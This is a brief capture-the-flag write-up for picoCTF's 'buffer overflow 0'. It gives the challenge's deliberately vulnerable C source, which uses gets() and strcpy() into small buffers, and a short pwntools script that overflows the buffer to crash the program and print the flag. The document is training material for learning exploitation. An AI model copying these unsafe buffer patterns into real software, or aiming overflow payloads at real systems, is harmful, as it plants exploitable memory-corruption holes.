# buffer overflow 0

#### vuln.c

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}

void vuln(char *input){
  char buf2[16];
  strcpy(buf2, input);
}

int main(int argc, char **argv){
  
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }
  
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler); // Set up signal handler
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);


  printf("Input: ");
  fflush(stdout);
  char buf1[100];
  gets(buf1); 
  vuln(buf1);
  printf("The program will exit now\n");
  return 0;
}
```

### Solution

Just Overflow it

```python
from pwn import *

if args.REMOTE:
    r = remote("saturn.picoctf.net", 50225)
else:
    r = process("./vuln")

p = b'i' * 20
r.sendlineafter(b': ', p)

flag = r.recvline().strip(b'\n').decode("ascii")

print()
log.success(f"flag: \"{flag}\"")
print()

r.close()
```


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